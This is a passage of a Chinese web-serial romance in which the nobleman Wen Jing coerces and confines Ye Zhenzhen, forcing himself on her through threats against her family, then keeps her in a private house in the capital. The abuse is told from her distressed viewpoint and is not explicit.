叶珍珍听完此话后,眼睫不自主得抖了抖,很快垂下眼眸,轻声道,“我已经是残花败柳,又和他解除了婚约。这辈子,我都不会再见他!”
“珍珍!”
叶劲虽半死不活着躺在地上,但方才两人的对话,他却一丝不落得听完了。
他恨!
可是他该恨谁呢?
恨父亲的贪婪和庸懦吗?还是恨闻景的仗势欺人?
或许,他最恨的是自己吧。是他,是他向父亲提议,邀闻景在叶府小住的!
闻景听到叶珍珍如此贬低自己,顿了两息,才压住心间的那股酸涩。
他一把将人从地上半抱半搂得束缚在怀里,咬牙切齿道:“残花败柳?我不过是提前与我的女人同床共枕,哪里就是—”
闻景蓦然止住口中未完的话,只静静望着叶珍珍眼眸里流露出来的恨意。那恨意宛若一块烧得通红的炭火,就这样落在他心口,让他再也无法继续说下去。
“世子爷,我叶珍珍答应的事,一定会做到!希望您也能做到您方才的话,饶了叶温两府。我叶珍珍对天发誓,只要世子爷你能护住叶温两府,你想如何,我都俯首听命,绝不违逆!否则叫我此生不得好死,永世不得—”
“够了!”
闻景大怒着低吼一声,止住了她口中未说完的誓言。
他极度压制着内心的痛楚,转头朝地上的叶劲道:“听到了吗?赶紧滚!否则,我不保证我还能在她面前,有一丝信誉!”
“还有!告诉你爹,我很满意他的知情识趣,会替他在皇帝面前求情。只是以后,若没有我的允许,你们都不得见她!”
“听明白了吗?”
闻景狰狞道,“听明白了就赶紧滚!”
说完,也不顾被他强搂在怀中,哭得直呛咳的女子,大步朝楼梯走去。
叶劲耳边听闻越来越远的哭声,很快也闭上眼睛,陷入一片黑暗当中。
只是眼角处缓缓渗出的泪,冲不散他脸上的血。
叶珍珍被闻景拖拽着回了那个令她痛不欲生的房间。
闻景无视她的挣扎,一把将人扔在榻上,只是待他听见一声沉闷的撞击声,才发现自己太过用力,即使铺着被褥,也还是伤到了她。
“撞到哪里了?”
闻景上前几步,拉开她捂在额间的双手,“快让我看看!”
叶珍珍这一撞,当场就让她眼前瞬间发黑。
死死捂着传来剧痛的额间,她只恨他为什么没有再大力一些,这样,自己也就可以解脱了!
而不是现下看着他表演一副令人作呕的模样。
“叶珍珍!松手!”
闻景使着蛮力,到底还是拉开了叶珍珍的手。只见她额间虽未破皮,但却肉眼可见得肿起一个嫣红的包。
叶珍珍已经耗尽全力,只
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能闭上双眼,虚脱般得躺在床上,不去看他面上的神色。闻景见她不理会自己,也不计较,起身几步行至外间,拉了叫人进来伺候的流苏。
“快去寻大夫来!要快!”闻景神色焦急道,“白枝,你去寻些冰来!用帕子包好了,送到内室来!”
青渚同白枝不敢耽搁分毫,转身就各自去办事了。
闻景坐在床榻边,接过白枝递过来的帕子,朝她额间的伤处,轻轻贴去。
叶珍珍原本就疼得厉害,躺在床上起不来。现下不过微微缓解了些,却被闻景这动作折腾得,又满脸痛苦得蜷缩起来。
“珍珍别怕!我只是想给你敷一下。”
闻景不由安抚道,只是手上的动作更加轻柔。
他拧起眉,轻声道:“我已经让人去寻大夫,现下用冰帕子给你敷敷,一会就不疼了。”
叶珍珍虽不想理会他,只是额间贴住帕子后,传来的一阵阵凉意,好似真的缓解些额间的抽痛,便也任他动作。
闻景见她眼角处流下的泪水,忍不住用指腹轻轻拭去,“对不起!是我不好!我不该下这么重的手,让你伤得如此严重!”
“你为何不再用点力?”
“……什么?”
叶珍珍带着哭音,深吸两口气,才缓缓道:“我说,你为何不再用点力,这样,我也可以彻底解脱。”
闻景被她这话刺得恨不得剜出心来。
他红着眼眶,连道了三个“好”,半晌才颤着声音,一字一顿道:“你、做、梦!”
青渚很快就带了大夫,上楼来替叶珍珍查看额间的伤。
闻景知道自己出手上了人,此时也只能静静坐在一旁的罗汉榻上,等大夫过来回话。
“启禀世子爷,小姐额间的伤不轻,恐怕明日会紫胀起来。老夫会开一些消肿止痛,活血化瘀的药,让小姐每日喝着,再辅以外用伤药和冰敷,过个三五日就差不多了。”
“青渚,拿了方子去抓药回来。再有,好好送大夫出去,赏银要丰厚一些。”
青渚朝罗汉榻上的高大身影,屈了屈膝,点头应下。
叶珍珍阖着双眸躺在床上,耳畔也听见了方才大夫的话。
只是在听见“活血化瘀”时,眼睫轻轻抖了一下,随即恢复了平静。
闻景见她还是不肯理会自己,也不在意。
只待白枝端了已经熬好的药汁来,才坐在床头,小心翼翼地扶着人坐起来。
“珍珍,喝药了。”
闻景在她后背放了天香色缠枝莲的软枕,自己则端着药碗,慢慢搅弄着药汁。
他舀了一勺,放在唇边,试了试温度,才向叶珍珍惨白的唇间送去。
“不用劳烦世子爷……我可以自己喝。”
叶珍珍说完这话,并不张嘴喝闻景喂来的药汁,只睁开眼睛,去接闻景手里的药碗。
闻景见她只不过是不愿意让自己喂药,并不是不肯喝,也只得顺着她些,将已经温热的药碗递在她手中。
“小心烫。”
叶珍珍接过药碗,低头啜饮了两口后,便拧起了眉头,一口接一口地将碗里漆黑的汤药,喝的干干净净。
闻景甚是满意她的乖巧,只是在见她皱眉时,就已经开口吩咐让一旁的白枝,取些蜜饯来。
9. 人面兽心
他顺手接过叶珍珍手里的空碗,朝身后一递,便拈起瓷盘里的一颗紫姜梅子,送到她被药汁粘湿的唇边。
“吃颗梅子,压压苦意吧。”
闻景想过她也许会闹腾着不肯好好喝药,已经做好了自己要使些手段,才能令她刚刚喝药的准备。
只是没想到,他的算盘都落空了。
这会只能借着给她喂蜜饯,指尖才能若有若无得擦过她湿润光泽的唇瓣。
“不用。”
叶珍珍侧过头去。
只是这一举动,更是令闻景的指尖从她的唇瓣上,一路滑过她的脸庞。
闻景见她有了些精神,便将手里的那颗梅子含入口中。
“都下去吧,不用在这里伺候了。记得晚膳要备清淡一点的菜肴,点心要榛子酥和玉露团。”
听完闻景的吩咐,青渚白枝很快就退出了内室。
闻景见人还是扭着头,不肯看向自己,唇边勾起一抹笑意。
只见他蓦然俯身而下,两只手控制着她的脑袋,面对自己,随即低凑上去吻住她的温热。
门齿轻轻噬咬着柔软的唇瓣,扣开了她的齿间,很快就将口中酸酸甜甜,带着微微辛味的梅子渡去。
叶珍珍手脚皆被他压制住,口中传来的果脯的香气,熏得人忍不住泪流。
尽管理智已经尽力告诉自己,与他作对,没有什么好处。可她如何能对眼下这个禽兽,听之任之?
叶珍珍闭眼流泪,脑海全是往日间与心上人言笑晏晏的场景。
想起二人自小的相识,想起年纪见长时的疏离与羞涩。甚至还有,自他们定下婚事后,那人每每瞧着自己时,眉眼间的欣喜和雀跃。
而自己,也如他一般欢喜。
闻景勾着她的舌尖,睁眼便看见身下人已经泪流满面。
他用舌尖将梅子勾回自己唇中,才慢慢拉开两人的距离。
“别哭了,难不成你忘记了方才发过的誓?若你不遵守,那我也就没有必要,一而再再而三的退让了。”
闻景咽下带着苦意的梅子,拇指指腹不断地拭去她眼角的泪。
一时间,整个室内,只能隐约听得女子喉间发出的阵阵低泣声。
而就在闻景控制不住自己的脾气时,耳边却传来她断断续续的声音。
他眼眸里的冰雪瞬间融化在她的低语里。
“……闻景,离开临州之前,亲手杀了我吧。”
叶珍珍睁眼望着头顶上那片绣满仙鹤驾云的床帐,双眸失神道:“我会在你回京之前,顺着你的心意,任你摆布,只求你回京之前,将我的尸身还给我父亲,他会安葬我的。”
“还有,记得你的话!不然,我就算化作厉鬼,我也不会放过你!”
“叶珍珍,你就这么想死吗?还是说,你觉得你被我玷污了清白,没脸在活下去?”
闻景早在听闻她第一句话时,就恨不得立刻去杀光叶府的所有人。
自己是用叶府的人来挟持她不错,可他哪里会像亲手杀了她的负心汉?
他从来都没有想过有了她以后,会把她丢下。
“放心吧,我不会如你所愿的,我会带着你一起回京城,并且,会以你父亲托付的名义,带你去京城寻医问药,将你安置在我的宅子里。这样,你叶家小姐的身份,就会永远保留着。”
闻景盯着叶珍珍眼底一闪而过的痛苦,舔了舔带着梅子酸味和药汁苦意的嘴唇,低语道:“年底,叶劲就会进京述职,我相信你会撑到那个时候的。毕竟,说不定我哪时心情好了,会大发慈悲允许你去见他们。”
一提及叶劲,叶珍珍瞬间亮起星眸,“我只要待到年底就可以了吗?”
“做什么美梦呢?”
闻景讥讽道,“我只是说,叶劲年底会进京,以后,你就更得好好活着,直到我腻了你为止!”
随后他转开头,不再去看她面上的哀容。
“叶珍珍,我们之间的关系,由我说了算,”闻景垂眸,看着右手的拇指指腹上的湿痕,不断摩挲着,随即调侃道,“你既然想快点解脱,还不如想想如何讨好我?也许这样,我就会很快厌烦你,你也可以早点去寻你的心上人。”
“只是不知那个时候,温二公子会不会还等着你?他是要你做他的妻子,还是做他的妾!”
闻景口中吐出的每字每句,就如烧红的烙铁,一块一块得按压在叶珍珍体无完肤的躯壳上,烫得她只能拼死蜷缩着身子,死死咬着嘴唇,不敢发出一丝声响。
只有越来越多的眼泪从满是绝望的双眸里,滚落在枕畔上。
为什么?为什么方才他没将她活活摔死?
叶珍珍甚至都不敢呼吸。
她如今只要呼吸一次,心口就疼得止不住让她颤抖得更厉害。
闻景听着身后人低喘的声音,抓扶着床栏处的手,关节早就凸起,用力地几乎要在上面留下指痕。
就这么心痛吗?
只要听到那人的名字,她就这副要死不活的模样?
那他,在她眼里,当真只能好好做个禽兽了。
闻景将胸间沸腾的杀意死死扼住,红着眼睛松开了手,僵硬着身躯朝外间走去。
叶珍珍听着那人离开的脚步声,越发放纵着自己抱着被褥号啕大哭起来。
要她讨好闻景?
那她还活着还有什么意思?哪怕闻景真的如他所说,他腻了自己后就会放过她,那她又该如何面对……面对温行松?
“……姑娘。”
“姑娘,快醒醒!该用晚膳了!”白枝站在床头,小心翼翼地唤着叶珍珍。
叶珍珍不知何时哭得累了,早抱着被子睡着了。
此刻,听着耳边的呼唤,才颤着眼睫缓缓睁开双眼。
白枝见人已经醒了,欢喜道:“姑娘醒了?奴婢扶着您起来用晚膳吧。”
“白枝,怎么点灯了?”
“姑娘,您睡得太久了,现下已经是戌时初,天都黑了。”
叶珍珍坐起身来,抬手去揉酸胀的眼睛,却不慎碰到红肿着的额头,顿时疼得倒吸了一口凉气,过了几息,才堪堪缓过那股刺痛。
“哎呀!姑娘你、你怎么样了?还疼吗?”
叶珍珍放下捂着额间手,朝满脸焦急的白枝摇了摇头。
虽然她和青渚是闻景的人,可是这几日,她们都对她照顾颇多,只除了不让自己离开这里。
“白枝,我额间的伤如何了?”
白枝仔细打量着她
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额间的伤,踌躇片刻道:“您睡着时,主子便一直给您拿冰敷着,已经比先前消肿了不少。”
他后面又进来了吗?
叶珍珍一把掀开身上盖的被子,却光着一双脚,坐在床边发愣。
自己到底睡得有多沉啊?
连鞋袜何时被褪下的也不知。
闻景坐在外间,看着桌子上已经摆好的饭菜,里面的人却还不见出来。
等他沉着脸绕过屏风,站在内室门前,却发现人已经起来了,只是专心望着她那双光着的脚丫上。
而一旁的枝白正取了新的袜子过来。
“给我。”
闻景抬手接过白枝手里的绫袜,几步走至叶珍珍跟前,蹲在地上,一只一只给她穿起袜子来。
白枝见主子亲手给人穿袜子,内心已经毫无波澜了。
闻景握着她还没有自己手掌大的脚丫子,耐心得套入袜子里,随即系好带子。
他低头看着绫袜上绣的菡萏,原本阴沉的脸色,早就换上了一副满足的神情。
等到鞋子也给人穿好后,才站起身子来。
“走吧,哭了一天了,去用晚膳吧。”
闻景见她不动,直接就将还在怔愣的叶珍珍打横抱在怀里,步履沉稳得朝外间桌案走去。
他不想再和她吵架。
到了桌旁,便将人放在凳子上,自己则紧挨着人坐下。
“有你喜欢的乳酿鱼,等你用完饭,青渚就会将玉露团和榛子酥,还有芙蓉糕端上来。”
到底只是天真烂漫的性子,哭过闹过大半天,肚子里早就饿了。
更何况,叶珍珍虽憎恶闻景的所作所为,但也明白如今的她,只是他人砧板上的肉。
父亲的事,也并没有了结。
叶珍珍闻言并不看他,只慢慢提起银筷夹了些菜放在碗里,小口吃起来。
闻景见她动筷,便也提箸吃起饭来。
“你阿娘说,你最喜欢乳酿鱼这道菜,怎么不吃?”
闻景替她夹了一块鱼肚上的肉,放在她面前的食碟里,挑了刺才推到她碗前。
而正埋头吃饭的叶珍珍,一听见闻景提起她阿娘时,瞬间红了眼眶。
“你……你见过我阿娘?她在哪里?”
“你阿娘是刺史夫人,自然在刺史府里。不过,我确实是昨日去了刺史府见她。”
闻景瞧着她激动的模样,脸上浮现出若有若无的狡黠之意。
他挑眉道:“我去取你的行李,顺便给她老人家说清楚,咱们现下的关系。”
“哦。那我们现下是什么关系?”
叶珍珍嘴角虽漾起微笑,语气里倒是刺耳的讥讽,“我也想知道世子爷,费了这么大周章,难不成就为了一个女人?”
“那我先回答你第一个问题,”闻景心情颇好道,“我们,如今自然是郎情妾意的关系,这么说,你明白了吗?”
“还有,我费了这么大的周章,自然还有其他打算。你,不过是我战利品的一部分。”
“好个郎情妾意!世子爷的脸皮可真厚啊!不知道的人,还以为世子爷是个多么情深义重的男子呢?”
可惜浪费了这么好的家世相貌,却只是一只披着人皮的禽兽。
10. 梨花巷
叶珍珍眼角挂着还未干的泪痕,瞧着身侧人面兽心的闻景,讥讽道:“我知道了,世子爷是要我做你的外室,你的相好。”
“……还有禁脔!”
叶珍珍见她的话,让闻景的脸色突变,随即起身朝他屈膝福了福,随即起身道,“世子爷别生气,我总得弄清楚自己的身份,免得逾矩就不好了!若是在京城有人问起珍珍时,珍珍也好应答,免得惹得世子爷声名狼藉,娶不到世子夫人!”
闻景耳朵自动跳过一切锐利言辞,只听得她说怕影响自己名声,娶不到世子夫人。
“我娶妻的事,自然有皇帝做主,你不必操心,”闻景夹了些菜蔬直接放在她碗中,又自顾吃了几口菜,才悠悠道,“我说了,你上京之事,是你父亲托付我照看,你还是叶家堂堂正正的小姐,至于我们——”
“我们当然是各取所需。随便你对外人怎么说我们的关系,你乐意就好!”
闻景放下碗筷,朝叶珍珍一脸无辜的模样看去。
叶珍珍再次被这人的脸皮惊到,只微微张着小口,不可置信得望着眼前颇有些得意的男人,随即瞪起美目。
闻景看着她瞪着自己的模样,活像只炸毛的白狸,当即忍不住笑出来声,连眼底也泛起层层潋滟。
“好了,别说话了,专心吃饭,”闻景指了指叶珍珍只吃了半碗的饭,“吃完这一碗,不仅有好吃的点心,我还会告诉你,昨日你阿娘说了什么给我。”
“难道……你不想知道你阿娘对我说了什么?”
叶珍珍知道这是他的胁迫,但是她没有任何反抗的手段。
端着碗,毫无形象得朝口中刨了几口饭,努力吞咽着,却看见闻景又给她碗里夹了些菜。
“……慢慢吃,吃完了我们有的是时间,聊你想知道的一切。”
有了闻景的承诺,这一顿饭到底还是顺顺利利得用完了。
就连白枝端了早就准备好的茶点,放在罗汉榻上置着的案几上时,叶珍珍还拈起一个玉露团,慢慢吃着。
闻景见她吃得开心,连这几日深锁的眉头都舒展开了,不禁也拿起一个自己从来都不吃的甜腻团子送到嘴边。
咬下一口,皮软馅腻。
这倒让他觉得眼前的女子,就如这糕点一般。只是,他只喜欢吃她这种身子又软,脾气却硬的白狸!
闻景将只咬了一口的玉露团随手扔在桌子上,便端起茶盏喝了好几口,才压下那股甜腻。
“叶珍珍,你知道你阿娘是怎么哭着说你的喜好吗?”
“咳……咳!咳咳!”
原本方才咬下一口榛子酥的叶珍珍,当即就激动得呛咳了起来。
“慢点!”
闻景慌得手忙脚乱去给她拍了拍背,只是来不及去放手里的茶盏,那茶盏里的茶水瞬间就溢出了边缘,湿了他的衣袖。
他这会根本没心情去关心自己沾湿的袖口,只忙忙将手里的半盏茶水递至叶珍珍唇边。
叶珍珍的嗓子被脆干的酥饼,划拉得正难受,见闻景递过茶水来,便抬手接过,喝了一大口。
只是,待她方才觉得嗓子没有那么难受时,才看清楚了自己面前还摆着一盏未动的茶水。
叶珍珍不可置信得看向现下自己手里端着的,已经被她喝尽的茶水,猛然脱了手。
闻景反应极快,那茶盏便稳稳落在他手里。
“珍珍,我救了你,你就这么回报我的?”闻景揶揄道,“以我们两人之间的关系,就算共用一只茶盏,也算不得什么。”
毕竟,他们连最亲密的事都做过了。
只是喝他喝过的茶水,实在不必如此惊慌失措。
叶珍珍将喉间最后一丝难受劲熬过,才清了清嗓子,黯然道:“人畜不共饮!世子爷不明白这么浅显的道理吗?”
“我见世子爷眉间甚是一副得意的模样,也不知你到底得意些什么?”
“自然是得意我们有缘至此,可以共饮一盏水,”闻景在这几日的床帐间,已经领略过她的牙尖嘴利,此刻更是坦然道,“你不把我当人,那我就更不必掩饰欲望了。”
叶珍珍被闻景的话,气得浑身打颤,深吸了好几口气,才稳住心神,问起她阿娘到底说了什么。
“快点告诉我阿娘怎么会同你说我的喜好?闻景,你是不是伤到我阿娘了?”
“我怎么会伤你阿娘?”
闻景缓和神色郑重道,“我还没说话呢,你阿娘就跪着求我放了你,自然—”
他瞧着自己说她阿娘替她求情时,就要急忙忙开口质问自己时,便轻轻将食指抵在她柔软的唇瓣上,继续道:“自然,我便让人扶起了她,让她坐下说话。”
“别这么看着我,”闻景看她毫不相信自己的模样,忍不住替自己辩白道,“你阿娘不过是一介深宅妇人,我何必要为难她?”
“我说我过几日就要带你去京城求医,让她收拾收拾你日常习惯的物件,也免得你到了京城那边不适应。你娘听闻我的话,愣了好一会,才压着哭意去让人收拾你的行李。甚至,她还百般哀求着,向我细细道来你的喜好,生怕你受了委屈。”
“珍珍,我很高兴她能如此待你,比你那个爹好多了!”
至于叶劲,他已经很宽宏大量了。
叶珍珍听完闻景的一大串话,句句皆是她阿娘的心碎的声音,就算如此,她还是事无巨细得告诉闻景,有关于她的一切。
虽然,这并不重要。
她拿起手绢,背着闻景,在眼圈附近揉了揉。很快,那手帕便被泅湿了好一块。
彼时虽已经是四月里,但握着那块润湿的手绢,叶珍珍的脸色都变得惨白,就好像坠入了深渊一般。
闻景见她如此难过,也不好再提她阿娘在他离开叶府时,提出若是他要娶妻,便放了她。
她会来接她走。
一想到叶夫人狠狠朝自己磕头时候,闻景只觉得自己竟如此面目可憎。
他不会给叶珍珍机会的。
“好了,珍珍,”闻景终于从自己的思绪清醒过来,他将低头啜泣的叶珍珍轻轻搂在怀里,下巴放在她发顶,“今日已经整整哭了一日了,再哭,眼睛明日要肿的。”
“明天,我们就回京城。”
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叶珍珍不理会闻景的自言自语,只垂着脑袋,低低哭了许久。
流云缓动,带着炽热的余晖渐渐从西边坠下。
只留下满院的余晖,将窗前开得即热烈繁盛的榴花,烧得越发夺目。
院前的池塘面上洒满金光,遍布着嫣红,墨红,浅粉,雪玉色的菡萏,在碧荷的映衬下,越发夺目。
这是闻景在京城梨花巷的私宅,种的也是他吩咐的花卉枝目。
“小姐,厨房送来了酥山,还有樱桃制成的浇头!”
“雪青,我上次的月信是何时来的?”
叶珍珍收回遥望在屋脊的视线,转身便朝随她一起上京的雪青问起。
自闻景带她回京已经过了两个多月了,加上路途上的日子,眼下已快到中秋了。
雪青瞬间明白她的意思,随即眨了眨眼,心里默算了日子,才回答道:“六月廿七。”
叶珍珍闻言顿时有些慌乱起来,好在雪青知道她担忧什么,放下手里的托盘,扶着叶珍珍的手,将她安置在贵妃椅上。
“小姐别怕,”雪青不得不安抚道,“原本小姐的月信就不准,就算是时间长一些,也是从前就有的情况。”
“可是今时不同往日,雪青,”叶珍珍勉强道,发白的脸色并没有好一点,“你同青莲被阿娘派来继续伺候我时,就知我如今的处境了。”
她现在被闻景困在京里的一所宅院里。
出了雪青和青莲,剩下的人都是闻景安排的。就连枝白和青渚在回京以后,也还继续伺候在她身边。
叶珍珍,你现下就是廊下的那只画眉鸟,只有待主人听腻了你嗓音,或许才得一丝自由。
“小姐不如用些酥山吧,再不用,就要化成水了,”雪青出言打断叶珍珍的沉思,捧着一碗浇满了樱桃蜜渍的酥山,递至叶珍珍面前,随即凑到她耳边轻语道,“或许,小姐吃些酥山,月信就来了也未可知。”
叶珍珍听得雪青的话,也觉得有些道理。毕竟女子快行经时,吃些寒凉之物,就会将癸水提前。
她抿了抿唇,将接过来的酥山,一小口一小口的往嘴里送去。
刚吃至一半时,便见闻景顶着满头大汗走了进来。
他人高腿长,几步就走到叶珍珍面前,见她正吃着酥山时,也不等雪青重新送上一碗来,就顺手接过了她手里的酥山,仰着头吃了好几口。
直到剩下的酥山吃得一滴不剩时,才随手将碗放在桌子上拿着巾帕,擦了擦嘴。
闻景此时才觉得自己又活了过来。
“今日午后在宫里待了两个时辰,皇帝才放我出宫,一路上赶过来,就算时骑着马,也热得让人心口燥热。”
“告诉厨房,晚膳我要些冷淘,和预备好的菜一齐送来正房。”
雪青识趣得福了福身,便端着空碗退了出去。
闻景身上的燥热早已被方才吃下的酥山,和屋子摆着的冰盆给带走了。此时他见眼下只有叶珍珍和他独自在房里,根本忍不住性子,一把抱起了她轻飘飘的身子,自己则仰躺在贵妃椅上。
至于叶珍珍,便就这样跨坐在他腿上。
11. 私宅
“怎么不高兴了?是宅子里的下人们侍奉不好吗?”闻景瞧着人脸上毫无笑意,不禁开口关切道,“要不要换一批?”
“没有,他们将我照顾得很好。”
“没有,是没有不高兴?还是,他们侍奉不周?”
闻景见她这副有气无力的样子,瞬间坐直的身子。
叶珍珍见他较起真来,当即否认道,“他们很细心,将世子爷交代的话都事事奉行,没有什么不周的地方。”
“那你……”
“是我自己月信将至,心情低落些,不关他们的事。”
叶珍珍生怕他又大发雷霆,将下人们吓得瑟瑟发抖,只得按住他的胸口,让他继续靠在椅背上。
在叶珍珍记忆里,闻景最凶狠的时候,不是那日踩伤叶劲的那日。
而是,在他连着几日未过来,她来癸水又疼得起不来床,府中的人不敢擅自替她寻大夫诊治,被他从天而降撞见时。
那日后,府里所有的下人都被换了一遍,除了白枝青渚和雪青青莲。
当然,这并不是开恩,而是等待她们的惩罚是,每人十大板子。
闻景说,若是她开口替她们求情,他就将她们四人发卖出去。
“小腹又难受了吗?”
闻景听得她说月信,当即就拧起了眉,“大夫让你在月信前几日就开始喝的药,可曾喝过了?”
随后,又扬声叫了青渚进来。
“小姐这几日不舒服,可曾喝过了药?”
青渚哪里敢迟疑,当即低着头道:“回世子爷,小姐已经从昨日就开始喝药了。”
闻景确定过她真的喝过药时,才挥手让青渚出去。
“我给你揉揉。”
“不用,”叶珍珍抬手拍掉闻景欲贴在小腹间的大掌,皱眉道,“别烦我!”
闻景知她这几次行经前,脾气比往日更大,也不好再惹她。
只搂了人,让她靠在自己怀里,轻声提起中秋要如何过。
按照往日,闻景自然是要回郑国公府,和家里那一大堆人,吃酒赏月。
再者,若是宫里开了中秋宴,便就是去宫里陪他的皇帝舅舅坐坐,顺便再和太子跟皇子宗亲们虚以委蛇。
只是今年不同,他名下的这所宅子里,住着叶珍珍。
“中秋快到了,你可想出去走走?”
闻景见她还是兴致缺缺的样子,不由诱惑道,”我回京这段时日太忙,还没来得及带你出门走走呢!要不,中秋那晚我陪你街上逛逛,也让你看看京城中秋时的热闹?”
叶珍珍此时正烦恼着要如何才能弄到自己急需的药,这么听闻景一提,自己中秋那晚能出府,当即便亮起星眸道,“当真?”
“你要是愿意中秋那晚同我出门走走,自然就是真的!不过—”
“不过什么?”
闻景见她有了精神,便指着自己的大脸道,“你要是主动亲我一下,我就答应你!”
看着闻景眼里闪着狡黠的点点星光,叶珍珍手里的帕子被揉成一团,也迟迟不肯如他所愿。
不出去就不出去,大不了,她再找厨房多要几次酥山。
闻景见她实在不肯,也不强求,只慵懒得伸了个腰,随口问道:“厨房说你这几日都要酥山吃?”
“虽说如今天气还热着,但你身体受不得寒凉,还是少吃些为妙。特别是方才,本就不舒服,还吃它做什么?”
叶珍珍尽量控制着声音,让自己放松下来,“心里闷,就想吃些凉的。”
“那就吃些用井水湃过的鲜果吧,待你癸水行完,再吃也不迟。”
“好。”
闻景难得见到她如此肯听自己的话,唇角根本压不住早就翘起的弧度。他起身捧着她的头,便低头凑在她唇边,细细亲昵起来。
直到白枝和其他在屋内伺候的三个丫头,上完了厨房送来的晚膳时,无论闻景再如何逗弄叶珍珍,她也不肯再理他。
只因,闻景压着她的脑袋,在她唇上研磨交缠许久后,而进来送饭菜的四人,皆望着她有些红肿的唇瓣后,慌乱着眼神不敢看她,她就知道闻景到底干了什么好事。
夜深人静时,外间院子的知了也只时不时得,发出一两声挣扎的声音。只有草丛里的虫鸣不曾断绝过。
叶珍珍面朝床内,身后则紧紧贴着闻景滚烫的身躯。
挣扎没用,只会让身后低喘着气的男人,更加兴奋。她强迫自己闭上眼睛,不去听耳边恼人的喘息。
就在她耐心即将耗尽时,身后的男人才猛然放松了僵硬的身体。
耳后的肌肤传来一抹凉意,是他在吻她。
随即那具身体才拉开了两人的距离,叶珍珍便听到那人起身的动静。
闻景在浴房冲着凉水,才堪堪浇灭那股热气。
就算方才已经……但是,这对于他才开荤几个月的年轻男子来说,还是太煎熬了。
今日出宫前,他在崇明门碰到了李颂云这家伙。
他竟然说自己面色含春,让自己找个女人睡,消消火气!
可恶!
闻景看着身下的反应,忍不住又提起一桶冷水,从头至尾得浇下。直折腾到月亮高悬时,他才散着半干的头发,出了浴房。
叶珍珍没有闻景的打扰,早就睡熟了,只是梦里糊涂间,一股潮气扑来,便再没了感知。
她这一觉倒是睡得踏实,原本难受追胀的小腹,有一双温热的大掌贴上来,倒是好了许多。
第二日一早,叶珍珍一边装作用着早膳,一边却时不时偷望着闻景眼下的青黑。
“看什么呢?”
闻景不明所以道。
叶珍珍见被他发现,便尴尬得收回了视线,只埋头喝着粥。
昨夜晚膳后,自己的癸水便来了,晚间睡得沉,也不知闻景怎么一早起床,就带着两眼黑青。
许是太累了吧。
“世子爷昨夜没有休息好吗?”
“……还行。”
叶珍珍点点头,咽下口中的鱼片粥后,才道,“世子爷既然公务繁忙,就不必日日顶着暑气骑着马,来这里。”
闻景没想到她会如此明晃晃得说出这话,虽然她平日多是厌烦他,倒也还算忍耐得住。
他掀起眼帘,瞧了一眼低头咬馒头的叶珍珍,只见她粉白的双颊被口中的馒头,塞得鼓鼓囊囊得,活像去年秋猎时,在围场里望见的松鼠。
闻景手上夹菜的动作顿了一下,才启唇道:“你父亲的事情已经了解了。皇上开恩,已经查清了粮草一案的来龙去脉,曹强秋后就会问斩。”
“那我父亲呢?”
叶珍珍放下手里的碗,急急忙忙道。
“你父亲?
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”
闻景往口中送了一筷子菜咽下后,才反问道,“你觉得你父亲会受到什么处置?”
叶珍珍垂下眼眸,手却在衣袖下拼命撕扯着帕子,过了半盏茶,才低声道:“有世子爷在,性命定然是无忧的。”
闻景见她如此知情识趣,倒也不再搪塞,只扬起嘴角道,“不错,你父亲本来就合伙参与此事,只是他身为临州刺史,没有及时将曹强之事及时上报给朝廷,倒也不算什么大罪。皇上已经罚他一年薪俸,另外,再杖责二十大板,这事就算过去了。”
“谢世子爷替父亲斡旋!”
“哎,这话不对,你再好好想想。”
叶珍珍听闻此话,只茫然着望着闻景面上那抹得意。
闻景见她实在不明白,倒也不急,只慢悠悠得放下碗筷,用指尖指着自己的脸。
“我不要你的谢谢,我也不是替你父亲斡旋,你,明白了?”
叶珍珍徐徐吐出一口气,认命般得起身走向闻景,俯下身子,闭着双目在他颊边轻轻落下一枚轻如鸿毛的吻。
只是就在她起身时,却被闻景出手拉住,“我来我的宅子里,天经地义,别再打什么主意劝我少来,我会生气的。”
叶珍珍被闻景拉着坐在他膝上,听他咬牙切齿得揭开自己的小心思,抿唇小声道:“我没有!我只是见世子爷今早一起,便顶着双眼发青,怕影响世子爷办理公务。”
“好了,你愿意这么糊弄我就糊弄吧,反正等再过几日,我眼下就不会黑了。”
闻景转头端起她的碗,一勺一勺将碗里还未吃完的粥,喂到她唇边,见她乖乖吃了,才满意道:“中秋晚上,我会带你出门走走,也给你散散心,免得日日待在宅子里也无趣。”
“说不定还能认识几位贵女,有她们和你说话,你也不会闷!”
叶珍珍知道中秋那日的重要,于是慢慢吃起闻景喂到唇边的粥,很是顺从的模样。
直到闻景带着人离开宅子后,叶珍珍才趴在盆边,将方才吃下的早膳吐得一干二净。
雪青和白枝忙着给她拍背顺气,直到她漱完口,才含着满眼泪花,朝身侧担忧的两人道:“我无事,不过是吃多了些,吐出来就好受多了。”
“白枝,你去厨房取些点心来吧,我等会练完字吃。”
“是,奴婢遵命。”
叶珍珍见她的身影消失在门口时,才扶着雪青的手,慢慢走向明间的书房。
自她被闻景缚在这所宅子里,每日只好借着习字,绣花来打发时辰。叶珍珍抬眼环视着已经挂满屋子的字画,才发现自己原来在这里已经如此的久了。
甚至久到,连自己也忘记了是如何被闻景带来京城的。
雪青见她脸色惨白,神色凄凄,便知她这会心里难受得紧,却又不知该如何开解,只能暗自轻轻叹息。
“雪青,你怎么不高兴?”叶珍珍从纷乱的思绪里回过神时,就见雪青垮着一张小脸,“千盼万盼,癸水总算是来了,也不枉费我连吃了两日的酥山。”
“小姐,世子爷他到底是什么意思?”
雪青本就是叶夫人安排的陪嫁丫头,内宅的事早就同青莲一起教诲过。这也就是为何叶夫人会让她们也随叶珍珍来京城的原因。
叶珍珍听见雪青的疑惑,手下的笔尖凝滞住,很快就在宣纸上留下一个墨团。
12. 心思
她随手扔下笔,不顾溅得到处都是的点点墨汁,一把将那副毁了的字贴揉成团,狠狠扔在地上。
“什么意思?”
叶珍珍气得眼眶发红,“既要与我纠缠,又不肯、不肯让我喝避子汤,你说他是什么心思?”
“是奴婢不好!奴婢不问了,小姐别哭!”雪青焦急道。
此时从门口传来的响动,雪青望去,进来的却是青莲。
“小姐这是怎么了?怎得又哭起来了?”
“都是我不好,胡乱说话惹得小姐难过,”雪青朝青莲焦急道,“你快来劝劝小姐吧!”
青莲性子沉稳,见叶珍珍眸中带恨的模样,便知定是与闻景脱不了干系。
“小姐别哭了,若是有什么烦心事不如给奴婢们讲讲,也好过一个人闷在心里。”青莲让雪青去打水替叶珍珍净面,自己则将人从书案后扶着坐在窗下的罗汉榻上。
